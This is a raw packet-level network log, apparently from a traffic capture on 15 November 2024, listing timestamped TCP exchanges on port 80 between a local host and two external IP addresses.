Nov 15, 2024 09:10:20.586031914 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.586075068 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.586076975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.621680975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.621732950 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.621738911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.621776104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.621810913 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.621849060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.621861935 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.621879101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.621901035 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.676109076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.701963902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.702028990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.702097893 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.702318907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.702373981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.702409029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.702424049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.702466011 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.702485085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.702610970 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.705018044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.705113888 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.705200911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.706047058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.706089973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.706094027 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.706127882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.706161976 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.706197977 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.706201077 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.706235886 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.738852978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.738903999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.738943100 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.738979101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.738991022 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.739013910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.739028931 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.739052057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.739147902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.739180088 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.739211082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.739253044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.819418907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.819459915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.819520950 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.819664955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.819695950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.819731951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.819780111 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.819786072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.819823027 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.819835901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.819859982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.820041895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.820290089 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.820322990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.820451975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.820504904 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.820506096 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.820545912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.820552111 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.856208086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856261969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856285095 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.856300116 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856337070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856372118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856378078 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.856406927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856419086 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.856446981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856489897 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.856633902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856663942 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.856949091 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.937458992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937540054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937587023 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.937597036 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937633038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937675953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937711954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937719107 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.937747955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937752008 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.937783003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937818050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937855959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.937863111 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.937901020 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.973167896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.973225117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.973259926 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.973294020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.973311901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.973351955 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.973438025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.973469019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.973522902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.020539045 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.020597935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.020638943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.020663977 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.054430008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054462910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054506063 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.054538965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054574013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054588079 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.054627895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054661989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054697990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054702997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.054733038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.054749012 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.055541992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.055598974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.055656910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.055658102 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.055704117 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.090293884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.090358019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.090392113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.090414047 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.090465069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.090500116 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.090513945 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.090532064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.090605974 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.137950897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.138020039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.138057947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.138118029 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.171984911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172058105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172096014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172113895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.172132969 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.172133923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172173023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172389030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172405005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172408104 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.172422886 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172442913 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.172494888 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172512054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172528982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.172535896 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.172566891 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.208050966 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.208107948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.208156109 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.208170891 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.208226919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.208265066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.208276987 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.208301067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.208334923 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.208337069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.241105080 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:21.246000051 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:21.246239901 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:21.246341944 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:21.251112938 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:21.254245996 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.254951000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.255004883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.255115986 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.288747072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.288806915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.288841009 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.288855076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.288901091 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.288957119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.288961887 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.288990974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.289103985 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.289343119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.289374113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.289417982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.289483070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.289525032 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.289560080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.289572001 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.289594889 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.289779902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.289971113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.290050030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.290083885 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.290096045 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.331613064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.331650972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.331665993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.331746101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.331780910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.331794977 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.331818104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.331955910 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.372138023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.372193098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.372227907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.372283936 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.405986071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406048059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406053066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.406084061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406138897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406172991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406238079 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.406414986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406445980 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406495094 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.406536102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406590939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406624079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406672001 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.406852007 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406910896 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.406919003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.406953096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.407244921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.407279968 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.407300949 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.407329082 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.407352924 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.448834896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.448870897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.448894024 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.449024916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.449059010 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.449094057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.449115992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.449130058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.449156046 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.488609076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.489336967 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.489393950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.489428043 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.489449978 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.523128986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523200035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523216963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523231983 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.523277998 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.523323059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523350000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523386002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523400068 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.523678064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523691893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523727894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.523865938 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523895979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523905039 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.523912907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.523953915 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.524244070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.524260998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.524279118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.524313927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.524323940 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.524349928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.524365902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.524408102 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.566071033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.566128969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.566144943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.566183090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.566196918 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.566234112 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.566235065 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.566257000 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.566356897 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.606518984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.606555939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.606570005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.606688976 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.640520096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.640553951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.640568972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.640595913 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.640634060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.640634060 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.640650988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.640707016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.640816927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.640981913 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.640995979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641055107 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.641068935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641083956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641103983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641129017 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.641140938 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.641515970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641551018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641566992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641618013 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.641644955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641663074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.641695976 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.683300972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.683330059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.683368921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.683377028 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.683384895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.683402061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.683438063 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.683470011 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.723733902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.723798990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.723817110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.723867893 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.757817030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.757853031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.757870913 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.757885933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.757905006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.757904053 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.757955074 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.758095980 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758174896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758192062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758233070 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.758261919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758279085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758318901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.758735895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758753061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758769035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758785963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758791924 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.758806944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.758814096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.758851051 CET	49795	80	192.168.2.10	190.107.177.80
